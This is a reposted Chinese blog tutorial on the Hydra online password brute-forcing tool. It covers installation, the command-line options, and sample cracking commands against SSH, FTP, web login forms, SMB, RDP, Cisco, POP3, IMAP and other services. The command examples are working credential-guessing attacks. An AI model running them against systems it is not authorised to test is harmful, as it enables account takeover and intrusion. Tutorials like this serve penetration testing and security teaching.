[转]Linux下的暴力密码破解工具Hydra详解

摘自：http://linzhibin824.blog.163.com/blog/static/735577102013144223127/

这款暴力密码破解工具相当强大，支持几乎所有协议的在线密码破解，其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说，有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试，使用本文内容去做破坏者，与本人无关。

一、简介

hydra是著名黑客组织thc的一款开源的暴力密码破解工具，可以在线破解多种密码。官网：http://www.thc.org/thc-hydra，可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、安装(http://www.aldeid.com/wiki/Thc-hydra)

Dependencies

Name	Lib	Package
Xhydra (GUI)		sudo apt-get install pkg-config libgtk2.0-dev
Openssl	libssl/ssl.h	sudo apt-get install libssl-dev
Postgres	libpq.so	sudo apt-get install libpq-dev
SVN (Subversion)	libsvn_client-1, libapr-1.so, libaprutil-1.so	sudo apt-get install libsvn-dev libapr1-dev libaprutil1-dev
firebird	libfbclient.so	sudo apt-get install firebird2.1-dev
MySQL client	libmysqlclient.so	sudo apt-get install libmysqlclient-dev
AFP	libafpclient.so	N/A
NCP	libncp.so, nwcalls.h	sudo apt-get install libncp-dev
SAP/R3	librfc/saprfc.h	(See http://www.sdn.sap.com/irj/sdn/linux)
libssh	libssh/libssh.h	sudo apt-get install libssh-dev

如果是Debian和Ubuntu发行版，源里自带hydra，直接用apt-get在线安装：

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装，先安装相关依赖包：

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel 

hydra下载地址：http://www.thc.org/releases/hydra-7.4.2.tar.gz

# tar zxvf hydra-7.0-src.tar.gz # cd hydra-7.0-src # ./configure # make # make install 

hydra支持GUI图形界面，不过习惯还是命令好用。

三、参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]

[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]

-R 继续从上一次进度接着破解。

-S 采用SSL链接。

-s PORT 可通过这个参数指定非默认端口。

-l LOGIN 指定破解的用户，对特定用户破解。

-L FILE 指定用户名字典。

-p PASS 小写，指定密码破解，少用，一般是采用密码字典。

-P FILE 大写，指定密码字典。

-e ns 可选选项，n：空密码试探，s：使用指定用户和密码试探。

-C FILE 使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数。

-M FILE 指定目标列表文件一行一条。

-o FILE 指定结果输出文件。

-f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解。

-t TASKS 同时运行的线程数，默认为16。

-w TIME 设置最大超时的时间，单位秒，默认是30s。

-v / -V 显示详细过程。

server 目标ip

service 指定服务名，支持的服务和协议：telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

OPT 可选项

 

四、示例

1、破解ssh：

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 

2、破解ftp：

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 

3、get方式提交，破解web登录：

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.PHP

4、post方式提交，破解web登录：

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"  hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 

（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。）

5、破解https：

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 

6、破解teamspeak：

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 

7、破解cisco：

hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 

8、破解smb：

hydra -l administrator -P pass.txt 10.36.16.18 smb 

9、破解pop3：

hydra -l muts -P pass.txt my.pop3.mail pop3 

10、破解rdp：

hydra ip rdp -l administrator -P pass.txt -V 

11、破解http-proxy：

hydra -l admin -P pass.txt http-proxy://10.36.16.18 

12、破解imap：

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
